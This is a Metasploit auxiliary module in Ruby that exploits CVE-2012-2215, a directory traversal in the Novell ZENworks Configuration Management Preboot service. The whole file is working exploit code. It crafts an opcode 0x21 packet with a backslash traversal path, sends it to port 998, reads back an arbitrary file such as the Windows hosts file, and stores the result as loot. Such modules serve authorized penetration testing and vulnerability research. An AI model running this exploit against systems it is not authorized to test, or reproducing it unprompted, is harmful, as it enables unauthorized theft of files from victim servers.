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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Novell ZENworks Configuration Management Preboot Service Remote File Access',
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      'Description'    => %q{
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          This module exploits a directory traversal in the ZENworks Configuration Management.
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        The vulnerability exists in the Preboot service and can be triggered by sending a specially
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        crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998/TCP port. This module has been
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        successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Luigi Auriemma', # Vulnerability Discovery
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          'juan vazquez' # Metasploit module
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2012-2215' ],
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          [ 'OSVDB', '80230' ],
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          [ 'URL', 'https://web.archive.org/web/20121103122235/http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=975' ]
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        ]
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    ))
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    register_options(
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      [
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        Opt::RPORT(998),
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        OptString.new('FILEPATH', [true, 'The name of the file to download', '\\WINDOWS\\system32\\drivers\\etc\\hosts']),
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        OptInt.new('DEPTH', [true, 'Traversal depth', 6])
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      ])
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  end
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  def run_host(ip)
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    # No point to continue if no filename is specified
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    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
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      print_error("Please supply the name of the file you want to download")
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      return
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    end
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    travs = "\\.." * datastore['DEPTH']
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    travs << "\\" unless datastore['FILEPATH'][0] == "\\"
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    travs << datastore['FILEPATH']
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    payload = Rex::Text.to_unicode(travs)
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    packet =  [0x21].pack("N") # Opcode
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    packet << [payload.length].pack("N") # Length
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    packet << payload # Value
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    connect
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    sock.put(packet)
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    sock.get_once(4, 1)
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    length = sock.get_once(4, 1)
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    unless length
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      print_error("Unable to get length due to a timeout")
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      return
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    end
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    sock.get_once(0x210-8, 1)
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    contents = sock.get_once(length.unpack("V").first, 1)
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    unless contents
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      print_error("Unable to extract contents due to a timeout")
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      return
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    end
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    disconnect
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    print_good "File retrieved successfully!"
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    fname = File.basename(datastore['FILEPATH'])
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    path = store_loot(
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      'novell.zenworks_configuration_management',
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      'application/octet-stream',
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      ip,
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      contents,
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      fname
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    )
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    print_status("File saved in: #{path}")
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  end
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end
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